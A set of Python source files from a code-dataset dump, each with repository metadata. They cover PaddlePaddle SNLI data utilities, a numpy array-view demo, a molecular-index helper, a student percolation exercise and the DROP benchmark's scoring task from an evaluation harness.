\"\"\"\u7528\u4e8e\u52a0\u8f7dSNLI\u6570\u636e\u96c6\u7684\u81ea\u5b9a\u4e49\u6570\u636e\u96c6\"\"\"\n\n    def __init__(self, dataset, num_steps, vocab=None):\n        self.num_steps = num_steps\n        all_premise_tokens = d2l.tokenize(dataset[0])\n        all_hypothesis_tokens = d2l.tokenize(dataset[1])\n        if vocab is None:\n            self.vocab = d2l.Vocab(all_premise_tokens + \\\n                                   all_hypothesis_tokens, min_freq=5, reserved_tokens=['<pad>'])\n        else:\n            self.vocab = vocab\n        self.premises = self._pad(all_premise_tokens)\n        self.hypotheses = self._pad(all_hypothesis_tokens)\n        self.labels = paddle.to_tensor(dataset[2])\n        print('read ' + str(len(self.premises)) + ' examples')\n\n    def _pad(self, lines):\n        return paddle.to_tensor([d2l.truncate_pad(\n            self.vocab[line], self.num_steps, self.vocab['<pad>'])\n            for line in lines])\n\n    def __getitem__(self, idx):\n        return (self.premises[idx], self.hypotheses[idx]), self.labels[idx]\n\n    def __len__(self):\n        return len(self.premises)\n\n\ndef load_data_snli(batch_size, num_steps=50):\n    \"\"\"\u4e0b\u8f7dSNLI\u6570\u636e\u96c6\u5e76\u8fd4\u56de\u6570\u636e\u8fed\u4ee3\u5668\u548c\u8bcd\u8868\"\"\"\n    num_workers = d2l.get_dataloader_workers()\n    data_dir = d2l.download_extract('SNLI')\n    train_data = read_snli(data_dir, True)\n    test_data = read_snli(data_dir, False)\n    train_set = SNLIDataset(train_data, num_steps)\n    test_set = SNLIDataset(test_data, num_steps, train_set.vocab)\n    train_iter = paddle.io.DataLoader(train_set, batch_size=batch_size,\n                                      shuffle=True,\n                                      return_list=True\n                                      )\n\n    test_iter = paddle.io.DataLoader(test_set, batch_size=batch_size,\n                                     shuffle=False,\n                                     return_list=True\n                                     )\n    return train_iter, test_iter, train_set.vocab\n\n\"\"\"15.5\"\"\"\ndef predict_snli(net, vocab, premise, hypothesis):\n    \"\"\"\u9884\u6d4b\u524d\u63d0\u548c\u5047\u8bbe\u4e4b\u95f4\u7684\u903b\u8f91\u5173\u7cfb\"\"\"\n    net.eval()\n    premise = paddle.to_tensor(vocab[premise], place=d2l.try_gpu())\n    hypothesis = paddle.to_tensor(vocab[hypothesis], place=d2l.try_gpu())\n    label = paddle.argmax(net([premise.reshape((1, -1)),\n                               hypothesis.reshape((1, -1))]), axis=1)\n\n    return 'entailment' if label == 0 else 'contradiction' if label == 1 \\\n        else 'neutral'\n\n\n\nones = paddle.ones\nzeros = paddle.zeros\ntensor = paddle.to_tensor\narange = paddle.arange\nmeshgrid = paddle.meshgrid\nsin = paddle.sin\nsinh = paddle.sinh\ncos = paddle.cos\ncosh = paddle.cosh\ntanh = paddle.tanh\nlinspace = paddle.linspace\nexp = paddle.exp\nlog = paddle.log\nnormal = paddle.normal\nrand = paddle.rand\nrandn = paddle.randn\nmatmul = paddle.matmul\nint32 = paddle.int32\nfloat32 = paddle.float32\nconcat = paddle.concat\nstack = paddle.stack\nabs = paddle.abs\neye = paddle.eye\nnumpy = lambda x, *args, **kwargs: x.detach().numpy(*args, **kwargs)\nsize = lambda x, *args, **kwargs: x.numel(*args, **kwargs)\nreshape = lambda x, *args, **kwargs: x.reshape(*args, **kwargs)\nto = lambda x, *args, **kwargs: x.to(*args, **kwargs)\nreduce_sum = lambda x, *args, **kwargs: x.sum(*args, **kwargs)\nargmax = lambda x, *args, **kwargs: x.argmax(*args, **kwargs)\nastype = lambda x, *args, **kwargs: x.type(*args, **kwargs)\ntranspose = lambda x, *args, **kwargs: x.t(*args, **kwargs)\nreduce_mean = lambda x, *args, **kwargs: x.mean(*args, **kwargs)\n\n\"\"\"\u8865\u5145\u51fd\u657014.3\u9700\u8981\u7528\u5230\"\"\"\ndef show_list_len_pair_hist(legend, xlabel, ylabel, xlist, ylist):\n    \"\"\"Plot the histogram for list length pairs.\n\n    Defined in :numref:`sec_machine_translation`\"\"\"\n    d2l.set_figsize()\n    _, _, patches = d2l.plt.hist(\n        [[len(l) for l in xlist], [len(l) for l in ylist]])\n    d2l.plt.xlabel(xlabel)\n    d2l.plt.ylabel(ylabel)\n    for patch in patches[1].patches:\n        patch.set_hatch('/')\n    d2l.plt.legend(legend)\n\n\"\"\"bert\u98de\u6868\u9884\u8bad\u7ec3\u6a21\u578b\"\"\"\nd2l.DATA_HUB['bert_small'] = ('https://paddlenlp.bj.bcebos.com/models/bert.small.paddle.zip', '9fcde07509c7e87ec61c640c1b277509c7e87ec6153d9041758e4')\n\nd2l.DATA_HUB['bert_base'] = ('https://paddlenlp.bj.bcebos.com/models/bert.base.paddle.zip', '9fcde07509c7e87ec61c640c1b27509c7e87ec61753d9041758e4')\n", "meta": {"hexsha": "7c8bb9d85759d213594bdac93dc29c45db9eff8e", "size": 97098, "ext": "py", "lang": "Python", "max_stars_repo_path": "Dive-into-DL-paddlepaddle/docs/d2l/paddle.py", "max_stars_repo_name": "linuxonly801/awesome-DeepLearning", "max_stars_repo_head_hexsha": "b063757fa130c4d56aea5cce2e592610f1e169f9", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-12T06:52:43.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-12T06:52:43.000Z", "max_issues_repo_path": "Dive-into-DL-paddlepaddle/docs/d2l/paddle.py", "max_issues_repo_name": "linuxonly801/awesome-DeepLearning", "max_issues_repo_head_hexsha": "b063757fa130c4d56aea5cce2e592610f1e169f9", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Dive-into-DL-paddlepaddle/docs/d2l/paddle.py", "max_forks_repo_name": "linuxonly801/awesome-DeepLearning", "max_forks_repo_head_hexsha": "b063757fa130c4d56aea5cce2e592610f1e169f9", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.0031311155, "max_line_length": 150, "alphanum_fraction": 0.6117015798, "include": true, "reason": "import numpy", "num_tokens": 29302, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11124120503431591, "lm_q1q2_score": 0.05344902713934428}}
{"text": "# Python Program To Create A View Of An Existing Array\r\n\r\n'''\r\nFunction Name    :  Create A View Of An Existing Array. \r\nFunction Date    :  31 Aug 2020\r\nFunction Author  :  Prasad Dangare\r\nInput            :  Integer\r\nOutput           :  Integer\r\n'''\r\n\r\nfrom numpy import*\r\n\r\na = arange (1, 6) # It Create Elements From 1 To 5\r\nb = a.view() # Create a View Of a And Call It b\r\n\r\nprint('Original Array : ', a)\r\nprint('Newly Array : ', b)\r\nprint(\"\\n\")\r\n\r\n\r\nb[0] = 99 # Modify oth Element Of b With The Value 99\r\n\r\nprint('After Modification Replace 0th Value With 99 : ')\r\nprint(\"\\n\")\r\n\r\nprint('Original Array : ', a)\r\nprint('Newly Array : ', b)\r\nprint(\"\\n\")\r\n", "meta": {"hexsha": "2783f20349dddf8be2ff3779e3c04e90d7e28b19", "size": 658, "ext": "py", "lang": "Python", "max_stars_repo_path": "view.py", "max_stars_repo_name": "PRASAD-DANGARE/PYTHON", "max_stars_repo_head_hexsha": "36214f7dc3762d327e5a29e40752edeb098249c8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-06-07T07:55:28.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-07T07:55:28.000Z", "max_issues_repo_path": "view.py", "max_issues_repo_name": "PRASAD-DANGARE/PYTHON", "max_issues_repo_head_hexsha": "36214f7dc3762d327e5a29e40752edeb098249c8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "view.py", "max_forks_repo_name": "PRASAD-DANGARE/PYTHON", "max_forks_repo_head_hexsha": "36214f7dc3762d327e5a29e40752edeb098249c8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.6896551724, "max_line_length": 57, "alphanum_fraction": 0.6109422492, "include": true, "reason": "from numpy", "num_tokens": 187, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11124120503431591, "lm_q1q2_score": 0.05344902713934428}}
{"text": "import numpy as np\n\ndef digest_atom_indices(atom_indices):\n\n    if type(atom_indices)==str:\n        if atom_indices in ['all', 'All', 'ALL']:\n            atom_indices = 'all'\n        else:\n            raise ValueError()\n    elif type(atom_indices) in [int, np.int64, np.int32]:\n        atom_indices = np.array([atom_indices], dtype='int64')\n    elif hasattr(atom_indices, '__iter__'):\n        atom_indices = np.array(atom_indices, dtype='int64')\n\n    return atom_indices\n\n", "meta": {"hexsha": "fbe38890bc70f32d6de675185effa48004077fcb", "size": 472, "ext": "py", "lang": "Python", "max_stars_repo_path": "molsysmt/_private/digestion/atom_indices.py", "max_stars_repo_name": "uibcdf/MolModMTs", "max_stars_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "molsysmt/_private/digestion/atom_indices.py", "max_issues_repo_name": "uibcdf/MolModMTs", "max_issues_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "molsysmt/_private/digestion/atom_indices.py", "max_forks_repo_name": "uibcdf/MolModMTs", "max_forks_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.7647058824, "max_line_length": 62, "alphanum_fraction": 0.6334745763, "include": true, "reason": "import numpy", "num_tokens": 110, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.11124119914140751, "lm_q1q2_score": 0.05344902430792745}}
{"text": "# -*- coding: utf-8 -*-\n#------------------------------------------------------------------\n# LEIA E PREENCHA O CABE\u00c7ALHO \n# N\u00c3O ALTERE OS NOMES DAS FUN\u00c7\u00d5ES\n# N\u00c3O APAGUE OS DOCSTRINGS\n# N\u00c3O INCLUA NENHUM import ...\n#------------------------------------------------------------------\n\n'''\n\n    Nome: Rafael Prud\u00eancio Leite\n    NUSP: ********\n\n    Ao preencher esse cabe\u00e7alho com o meu nome e o meu n\u00famero USP,\n    declaro que todas as partes originais desse exerc\u00edcio programa (EP)\n    foram desenvolvidas e implementadas por mim e que portanto n\u00e3o \n    constituem desonestidade acad\u00eamica ou pl\u00e1gio.\n    Declaro tamb\u00e9m que sou respons\u00e1vel por todas as c\u00f3pias desse\n    programa e que n\u00e3o distribui ou facilitei a sua distribui\u00e7\u00e3o.\n    Estou ciente que os casos de pl\u00e1gio e desonestidade acad\u00eamica\n    ser\u00e3o tratados segundo os crit\u00e9rios divulgados na p\u00e1gina da \n    disciplina.\n    Entendo que EPs sem assinatura devem receber nota zero e, ainda\n    assim, poder\u00e3o ser punidos por desonestidade acad\u00eamica.\n\n    Abaixo descreva qualquer ajuda que voc\u00ea recebeu para fazer este\n    EP.  Inclua qualquer ajuda recebida por pessoas (inclusive\n    monitores e colegas). Com exce\u00e7\u00e3o de material de MAC0110 e MAC0122, \n    caso voc\u00ea tenha utilizado alguma informa\u00e7\u00e3o, trecho de c\u00f3digo,...\n    indique esse fato abaixo para que o seu programa n\u00e3o seja\n    considerado pl\u00e1gio ou irregular.\n\n    Exemplo:\n\n        A monitora me explicou que eu devia utilizar a fun\u00e7\u00e3o int() quando\n        fazemos leitura de n\u00fameros inteiros.\n\n        A minha fun\u00e7\u00e3o quicksort() foi baseada na descri\u00e7\u00e3o encontrada na \n        p\u00e1gina https://www.ime.usp.br/~pf/algoritmos/aulas/quick.html.\n\n    Descri\u00e7\u00e3o de ajuda ou indica\u00e7\u00e3o de fonte:\n\n'''\nimport numpy as np\n\n#-------------------------------------------------------------------------- \n# constantes\nBLOCKED = 0  # s\u00edtio bloqueado\nOPEN    = 1  # s\u00edtio aberto\nFULL    = 2  # s\u00edtio cheio\n\nclass Fila:\n    def __init__(self):\n        self.itens = []\n        \n    def vazia(self):\n        return self.itens == []\n        \n    def insere(self, item):\n        self.itens.append(item)\n        \n    def remove(self):\n        self.itens.pop[0]\n\nclass Percolation:\n    '''\n    Representa uma grade com todos os s\u00edtios inicialmente bloqueados.\n    '''\n    def __init__(self, entrada):\n        self.perco = np.full((entrada, entrada), BLOCKED) if type(entrada) == int else np.full(entrada, BLOCKED)\n        self.shape = self.perco.shape\n        \n    '''  \n    def shape(self):\n        return self.perco.shape\n    '''\n    \n    def __str__(self):\n        n_open = int(0)\n        fig = str('\\n') + str('+---')*self.perco.shape[1] + '+\\n/ '\n        for i in range(len(self.perco)):\n            for j in range(len(self.perco[0])):\n                if self.perco[i, j] == BLOCKED:\n                    fig += '  / '\n                elif self.perco[i, j] == OPEN:\n                    fig += 'o / '\n                    n_open += 1\n                else:\n                    fig += 'x / '\n                    n_open += 1\n            fig += str('\\n') + str('+---')*self.perco.shape[1] + '+\\n/ '\n        return fig[:-2] + 'grade de dimens\u00e3o: '+ str(self.perco.shape[0]) + 'x' + str(self.perco.shape[1]) + '\\nN\u00famero de s\u00edtios abertos: ' + str(n_open)+'\\npercolou: '+ str(perco(self))\n        \n    def is_open(self, int1, int2):\n        if (int1, int2) >= (0,0) and len(self.perco) - int1 >= 0 and len(self.perco[0]) - int2 >= 0:\n            if self.perco[int1, int2] == OPEN or self.perco[int1, int2] == FULL:\n                return True\n            else:\n                return False\n        else:\n            print('Valor inserido invalido.')\n            return None\n        \n        \n    def is_full(self, int1, int2):\n        if (int1, int2) >= (0,0) and len(self.perco) - int1 >= 0 and len(self.perco[0]) - int2 >= 0:\n            if self.perco[int1, int2] == 2:\n                return True\n            else:\n                return False\n        else:\n            print('Valor inserido invalido.')\n            return None\n        \n    def no_open(self):\n        n_int = 0\n        for i in range(0, self.shape[0]):\n            for j in range(0, self.shape[1]):\n                if self.perco[i,j] == OPEN or self.perco[i, j] == FULL:\n                    n_int += 1\n        return n_int\n    \n    def get_grid(self):\n        return np.copy(self.perco)\n    \n    def open(self, int1, int2):\n        if (int1+1, int2+1) > self.shape or int1<0 or int2<0:\n            print('A posi\u00e7\u00e3o: [{},{}] est\u00e1 fora da grade.'.format(int1,int2))\n            return None\n        \n        if self.perco[int1, int2] == BLOCKED:\n            self.perco[int1, int2] = OPEN\n            if int1 == 0:\n                self.perco[int1, int2] = FULL\n            look(self, [int1, int2])\n            \n    def __setitem__(self, instance, value):\n        self.perco[instance] = value\n        \n    def percolates(self):\n        return perco(self)\n\n\ndef perco(matrix):\n    for i in range(matrix.shape[1]):\n        if matrix.perco[matrix.shape[0]-1, i] == FULL:\n            return True\n    return False\n        \n\ndef look(matrix, pos):\n    q = []\n    q.append(pos)\n    p = []\n    \n    while not q == []:\n        \n        i = q.pop()[:]\n        p.append(i)\n        if i[0] + 2 <= matrix.shape[0] and matrix.is_open(i[0]+1, i[1]) == True:\n            if matrix.is_full(i[0]+1, i[1]) == True:\n                matrix[i[0], i[1]] = FULL\n            if [i[0]+1, i[1]] not in p:\n                q.append([i[0]+1, i[1]])\n                p.append([i[0]+1, i[1]])\n        \n        if i[0] > 0 and matrix.is_open(i[0]-1, i[1]) == True:\n            if matrix.is_full(i[0]-1, i[1]) == True:\n                matrix[i[0], i[1]] = FULL\n            if [i[0]-1, i[1]] not in p:\n                q.append([i[0]-1, i[1]])\n                p.append([i[0]-1, i[1]])\n            \n        if i[1] + 2 <= matrix.shape[1] and matrix.is_open(i[0], i[1]+1) == True:\n            if matrix.is_full(i[0], i[1]+1) == True:\n                matrix[i[0], i[1]] = FULL\n            if [i[0], i[1]+1] not in p:\n                q.append([i[0], i[1]+1])\n                p.append([i[0], i[1]+1])\n            \n        if i[1] > 0 and matrix.is_open(i[0], i[1]-1) == True:\n            if matrix.is_full(i[0], i[1]-1) == True:\n                matrix[i[0], i[1]] = FULL\n            if [i[0], i[1]-1] not in p:\n                q.append([i[0], i[1]-1])\n                p.append([i[0], i[1]-1])\n            \n            \n        \n                \n        \n    \n    \n          \n'''   \ndef look(matrix, pos): #array, tuple\n    if matrix.perco[pos[0], pos[1]] == OPEN:\n        \n        if pos[0] == 0:\n            matrix[pos[0], pos[1]] = FULL\n                \n                \n        if pos[0] > 0: #olha de baixo p/ cima\n            if matrix.is_open(pos[0]-1, pos[1]) == True:\n                if matrix.is_full(pos[0]-1, pos[1]) == True:\n                    matrix[pos[0], pos[1]] = FULL\n                look(matrix, (pos[0]-1, pos[1]))\n    \n        if pos[1] + 2 <= matrix.shape[1]: #olha da esq p/ dir\n            if matrix.is_open(pos[0], pos[1]+1) == True:\n                if matrix.is_full(pos[0], pos[1]+1) == True:\n                    matrix[pos[0], pos[1]] = FULL #TEM UM ELSE: AQUI EM BAIXO???\n                look(matrix, (pos[0], pos[1]+1))\n                \n        if pos[1] > 0: #olha da dir p/ esq\n            if matrix.is_open(pos[0], pos[1]-1) == True:\n                if matrix.is_full(pos[0], pos[1]-1) == True:\n                    matrix[pos[0], pos[1]] = FULL\n                look(matrix, (pos[0], pos[1]-1))\n'''\n\n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n    \n", "meta": {"hexsha": "4aa1299e971832221abff9ebf98dc3181628441e", "size": 7612, "ext": "py", "lang": "Python", "max_stars_repo_path": "percolation.py", "max_stars_repo_name": "rafaelpleite/Algoritmos", "max_stars_repo_head_hexsha": "2f02ac89b4f71dd9780b8cbf0c054db64b68b7ae", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "percolation.py", "max_issues_repo_name": "rafaelpleite/Algoritmos", "max_issues_repo_head_hexsha": "2f02ac89b4f71dd9780b8cbf0c054db64b68b7ae", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "percolation.py", "max_forks_repo_name": "rafaelpleite/Algoritmos", "max_forks_repo_head_hexsha": "2f02ac89b4f71dd9780b8cbf0c054db64b68b7ae", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3914893617, "max_line_length": 186, "alphanum_fraction": 0.4851550184, "include": true, "reason": "import numpy", "num_tokens": 2162, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073334144352605, "lm_q2_score": 0.13117323395124272, "lm_q1q2_score": 0.053431241267874935}}
{"text": "\"\"\"\nDROP: A Reading Comprehension Benchmark Requiring Discrete Reasoning Over Paragraphs\nhttps://aclanthology.org/attachments/N19-1246.Supplementary.pdf\n\nDROP is a QA dataset which tests comprehensive understanding of paragraphs. In\nthis crowdsourced, adversarially-created, 96k question-answering benchmark, a\nsystem must resolve multiple references in a question, map them onto a paragraph,\nand perform discrete operations over them (such as addition, counting, or sorting).\n\nHomepage: https://allenai.org/data/drop\n\nAcknowledgement: This implementation is based on the official evaluation for `DROP`:\nhttps://github.com/allenai/allennlp-reading-comprehension/blob/master/allennlp_rc/eval/drop_eval.py\n\"\"\"\nimport inspect\nimport numpy as np\nimport re\nimport string\nimport lm_eval.datasets.drop.drop\nfrom scipy.optimize import linear_sum_assignment\nfrom lm_eval.base import Task, rf\nfrom lm_eval.metrics import mean\n\n\n_CITATION = \"\"\"\n@misc{dua2019drop,\n    title={DROP: A Reading Comprehension Benchmark Requiring Discrete Reasoning Over Paragraphs},\n    author={Dheeru Dua and Yizhong Wang and Pradeep Dasigi and Gabriel Stanovsky and Sameer Singh and Matt Gardner},\n    year={2019},\n    eprint={1903.00161},\n    archivePrefix={arXiv},\n    primaryClass={cs.CL}\n}\n\"\"\"\n\n\n_ARTICLES = re.compile(r\"\\b(a|an|the)\\b\", re.UNICODE)\n\n\nclass DROP(Task):\n    VERSION = 1\n    DATASET_PATH = inspect.getfile(lm_eval.datasets.drop.drop)\n    DATASET_NAME = None\n\n    def has_training_docs(self):\n        return True\n\n    def has_validation_docs(self):\n        return True\n\n    def has_test_docs(self):\n        return False\n\n    def training_docs(self):\n        if self._training_docs is None:\n            self._training_docs = list(map(self._process_doc, self.dataset[\"train\"]))\n        return self._training_docs\n\n    def validation_docs(self):\n        return map(self._process_doc, self.dataset[\"validation\"])\n\n    def _process_doc(self, doc):\n        return {\n            \"id\": doc[\"query_id\"],\n            \"passage\": doc[\"passage\"],\n            \"question\": doc[\"question\"],\n            \"answers\": self.get_answers(doc),\n        }\n\n    @classmethod\n    def get_answers(cls, qa):\n        def _flatten_validated_answers(validated_answers):\n            \"\"\"Flattens a dict of lists of validated answers.\n            {\"number\": ['1', '8'], ...}\n            -> [{\"number\": ['1'], ...}, {\"number\": ['8'], ...}]\n            \"\"\"\n            valid_answers = []\n            for i in range(len(validated_answers[\"number\"])):\n                valid_answers.append(\n                    {\n                        \"number\": validated_answers[\"number\"][i],\n                        \"date\": validated_answers[\"date\"][i],\n                        \"spans\": validated_answers[\"spans\"][i],\n                    }\n                )\n            return valid_answers\n\n        answers = []\n        answers_set = set()\n        candidates = [qa[\"answer\"]] + _flatten_validated_answers(\n            qa[\"validated_answers\"]\n        )\n        for candidate in candidates:\n            answer = cls.parse_answer(candidate)\n            if answer in answers_set:\n                continue\n            answers_set.add(answer)\n            answers.append(answer)\n        return answers\n\n    @classmethod\n    def parse_answer(cls, answer):\n        # NOTE: Everything is returned as a tuple for uniformity and hashability.\n        if answer[\"number\"] != \"\":\n            return (str(answer[\"number\"]),)\n        if answer[\"spans\"] != []:\n            return tuple(answer[\"spans\"])\n        return (\n            \" \".join(\n                [answer[\"date\"][\"day\"], answer[\"date\"][\"month\"], answer[\"date\"][\"year\"]]\n            ).strip(),\n        )\n\n    def doc_to_text(self, doc):\n        return f\"Passage: {doc['passage']}\\nQuestion: {doc['question']}\\nAnswer:\"\n\n    def should_decontaminate(self):\n        return True\n\n    def doc_to_decontamination_query(self, doc):\n        return doc[\"passage\"] + \" \" + doc[\"question\"]\n\n    def doc_to_target(self, doc):\n        return \" \" + \", \".join(doc[\"answers\"][0])\n\n    def construct_requests(self, doc, ctx):\n        \"\"\"Uses RequestFactory to construct Requests and returns an iterable of\n        Requests which will be sent to the LM.\n\n        :param doc:\n            The document as returned from training_docs, validation_docs, or test_docs.\n        :param ctx: str\n            The context string, generated by fewshot_context. This includes the natural\n            language description, as well as the few shot examples, and the question\n            part of the document for `doc`.\n        \"\"\"\n        conts = [rf.greedy_until(ctx, [\".\"])]\n        return conts\n\n    def process_results(self, doc, results):\n        \"\"\"Take a single document and the LM results and evaluates, returning a\n        dict where keys are the names of submetrics and values are the values of\n        the metric for that one document\n\n        :param doc:\n            The document as returned from training_docs, validation_docs, or test_docs.\n        :param results:\n            The results of the requests created in construct_requests.\n        \"\"\"\n        preds, golds = results, doc[\"answers\"]\n        max_em = 0\n        max_f1 = 0\n        for gold_answer in golds:\n            exact_match, f1_score = self.get_metrics(preds, gold_answer)\n            if gold_answer[0].strip():\n                max_em = max(max_em, exact_match)\n                max_f1 = max(max_f1, f1_score)\n        return {\"em\": max_em, \"f1\": max_f1}\n\n    def get_metrics(self, predicted, gold):\n        \"\"\"\n        Takes a predicted answer and a gold answer (that are both either a string or a list of\n        strings), and returns exact match and the DROP F1 metric for the prediction.  If you are\n        writing a script for evaluating objects in memory (say, the output of predictions during\n        validation, or while training), this is the function you want to call, after using\n        :func:`answer_json_to_strings` when reading the gold answer from the released data file.\n        \"\"\"\n        predicted_bags = self._answer_to_bags(predicted)\n        gold_bags = self._answer_to_bags(gold)\n\n        if set(predicted_bags[0]) == set(gold_bags[0]) and len(\n            predicted_bags[0]\n        ) == len(gold_bags[0]):\n            exact_match = 1.0\n        else:\n            exact_match = 0.0\n\n        f1_per_bag = self._align_bags(predicted_bags[1], gold_bags[1])\n        f1 = np.mean(f1_per_bag)\n        f1 = round(f1, 2)\n        return exact_match, f1\n\n    def _answer_to_bags(self, answer):\n        if isinstance(answer, (list, tuple)):\n            raw_spans = answer\n        else:\n            raw_spans = [answer]\n        normalized_spans = []\n        token_bags = []\n        for raw_span in raw_spans:\n            normalized_span = self._normalize(raw_span)\n            normalized_spans.append(normalized_span)\n            token_bags.append(set(normalized_span.split()))\n        return normalized_spans, token_bags\n\n    def _align_bags(self, predicted, gold):\n        \"\"\"\n        Takes gold and predicted answer sets and first finds the optimal 1-1 alignment\n        between them and gets maximum metric values over all the answers.\n        \"\"\"\n        scores = np.zeros([len(gold), len(predicted)])\n        for gold_index, gold_item in enumerate(gold):\n            for pred_index, pred_item in enumerate(predicted):\n                if self._match_numbers_if_present(gold_item, pred_item):\n                    scores[gold_index, pred_index] = self._compute_f1(\n                        pred_item, gold_item\n                    )\n        row_ind, col_ind = linear_sum_assignment(-scores)\n\n        max_scores = np.zeros([max(len(gold), len(predicted))])\n        for row, column in zip(row_ind, col_ind):\n            max_scores[row] = max(max_scores[row], scores[row, column])\n        return max_scores\n\n    def _compute_f1(self, predicted_bag, gold_bag):\n        intersection = len(gold_bag.intersection(predicted_bag))\n        if not predicted_bag:\n            precision = 1.0\n        else:\n            precision = intersection / float(len(predicted_bag))\n        if not gold_bag:\n            recall = 1.0\n        else:\n            recall = intersection / float(len(gold_bag))\n        f1 = (\n            (2 * precision * recall) / (precision + recall)\n            if not (precision == 0.0 and recall == 0.0)\n            else 0.0\n        )\n        return f1\n\n    def _match_numbers_if_present(self, gold_bag, predicted_bag):\n        gold_numbers = set()\n        predicted_numbers = set()\n        for word in gold_bag:\n            if self._is_number(word):\n                gold_numbers.add(word)\n        for word in predicted_bag:\n            if self._is_number(word):\n                predicted_numbers.add(word)\n        if (not gold_numbers) or gold_numbers.intersection(predicted_numbers):\n            return True\n        return False\n\n    def _is_number(self, text):\n        try:\n            float(text)\n            return True\n        except ValueError:\n            return False\n\n    def _remove_articles(self, text):\n        return _ARTICLES.sub(\" \", text)\n\n    def _white_space_fix(self, text):\n        return \" \".join(text.split())\n\n    def _remove_punc(self, text):\n        exclude = set(string.punctuation)\n        if not self._is_number(text):\n            return \"\".join(ch for ch in text if ch not in exclude)\n        else:\n            return text\n\n    def _fix_number(self, text):\n        return str(float(text)) if self._is_number(text) else text\n\n    def _tokenize(self, text):\n        return re.split(\" |-\", text)\n\n    def _normalize(self, answer):\n        tokens = [\n            self._white_space_fix(\n                self._remove_articles(\n                    self._fix_number(self._remove_punc(token.lower()))\n                )\n            )\n            for token in self._tokenize(answer)\n        ]\n        tokens = [token for token in tokens if token.strip()]\n        normalized = \" \".join(tokens).strip()\n        return normalized\n\n    def aggregation(self):\n        \"\"\"\n        :returns: {str: [float] -> float}\n            A dictionary where keys are the names of submetrics and values are\n            functions that aggregate a list of metrics\n        \"\"\"\n        return {\"em\": mean, \"f1\": mean}\n\n    def higher_is_better(self):\n        \"\"\"\n        :returns: {str: bool}\n            A dictionary where keys are the names of submetrics and values are\n            whether a higher value of the submetric is better\n        \"\"\"\n        return {\"em\": True, \"f1\": True}\n", "meta": {"hexsha": "6f3a23aff09f370afe6fdee0a353501c0815ace3", "size": 10528, "ext": "py", "lang": "Python", "max_stars_repo_path": "lm_eval/tasks/drop.py", "max_stars_repo_name": "konstantinschulz/lm-evaluation-harness", "max_stars_repo_head_hexsha": "b0acb3379d2fa8e15561cea033be422bff144f30", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lm_eval/tasks/drop.py", "max_issues_repo_name": "konstantinschulz/lm-evaluation-harness", "max_issues_repo_head_hexsha": "b0acb3379d2fa8e15561cea033be422bff144f30", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lm_eval/tasks/drop.py", "max_forks_repo_name": "konstantinschulz/lm-evaluation-harness", "max_forks_repo_head_hexsha": "b0acb3379d2fa8e15561cea033be422bff144f30", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2107023411, "max_line_length": 116, "alphanum_fraction": 0.6035334347, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2349, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.12421300024700381, "lm_q1q2_score": 0.05342989271614134}}
